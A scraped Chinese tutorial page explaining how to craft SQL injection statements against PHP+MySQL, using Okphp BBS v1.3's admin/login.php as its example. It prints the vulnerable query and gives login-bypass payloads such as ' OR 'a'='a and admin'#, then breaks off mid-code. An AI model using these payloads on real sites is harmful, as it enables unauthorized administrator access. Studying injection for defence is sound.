亚洲精品中文字幕无乱码_久久亚洲精品无码AV大片_最新国产免费Av网址_国产精品3级片

php語(yǔ)言

攻擊方法注射語(yǔ)句構(gòu)造php+mysql

時(shí)間:2024-10-12 12:04:09 php語(yǔ)言 我要投稿
  • 相關(guān)推薦

攻擊方法注射語(yǔ)句構(gòu)造php+mysql

  以下是百分網(wǎng)小編精心為大家整理的利用php+mysql注射語(yǔ)句構(gòu)造的攻擊方法,希望對(duì)大家有所幫助!更多內(nèi)容請(qǐng)關(guān)注應(yīng)屆畢業(yè)生網(wǎng)!

  一.前言:

  版本信息:Okphp BBS v1.3 開(kāi)源版

  下載地址:http://www.cncode.com/SoftView.asp?SoftID=1800

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時(shí)語(yǔ)句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來(lái)談?wù)刾hp+mysql注射語(yǔ)句構(gòu)造方式,希望本文對(duì)你有點(diǎn)幫助。

  聲明:文章所有提到的“漏洞”,都沒(méi)有經(jīng)過(guò)測(cè)試,可能根本不存在,其實(shí)有沒(méi)有漏洞并不重要,重要的是分析思路和語(yǔ)句構(gòu)造。

  二.“漏洞”分析:

  1.admin/login.php注射導(dǎo)致繞過(guò)身份驗(yàn)證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 沒(méi)過(guò)濾, 很容易就繞過(guò)。

  對(duì)于select * from $user_table where username='$username' and password='$password'這樣的語(yǔ)句改造的方法有:

  構(gòu)造1(利用邏輯運(yùn)算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當(dāng)于sql語(yǔ)句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構(gòu)造2(利用mysql里的注釋語(yǔ)句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相當(dāng)于:

  select * from $user_table where username='admin'

  在admin/login.php中$q語(yǔ)句中的$password在查詢(xún)前進(jìn)行了md5加密所以不可以用構(gòu)造1中的語(yǔ)句繞過(guò)。這里我們用構(gòu)造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相當(dāng)于:

  select id,group_id from $user_table where username='admin'

  只要存在用戶(hù)名為admin的就成立,如果不知道用戶(hù)名,只知道對(duì)應(yīng)的id,

  我們就可以這樣構(gòu)造:$username=' OR id=1#

  相當(dāng)于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log("Moderator login","0","password wrong");

  echo "

【攻擊方法注射語(yǔ)句構(gòu)造php+mysql】相關(guān)文章:

php+mysql注射語(yǔ)句構(gòu)造07-24

php防止SQL注入攻擊與XSS攻擊的方法07-01

php防止SQL注入攻擊與XSS攻擊方法08-07

對(duì)抗DDoS攻擊的15個(gè)方法07-13

PHP阻止SQL注入式攻擊的方法08-27

在PHP中全面阻止SQL注入式攻擊的方法05-14

Windows操作系統(tǒng)用戶(hù)擺脫黑客攻擊的方法08-02

在子類(lèi)中應(yīng)該如何調(diào)用父類(lèi)的構(gòu)造方法07-11

護(hù)士資格基礎(chǔ)護(hù)理學(xué)考點(diǎn):患者肌肉注射方法11-01

java如何構(gòu)造09-21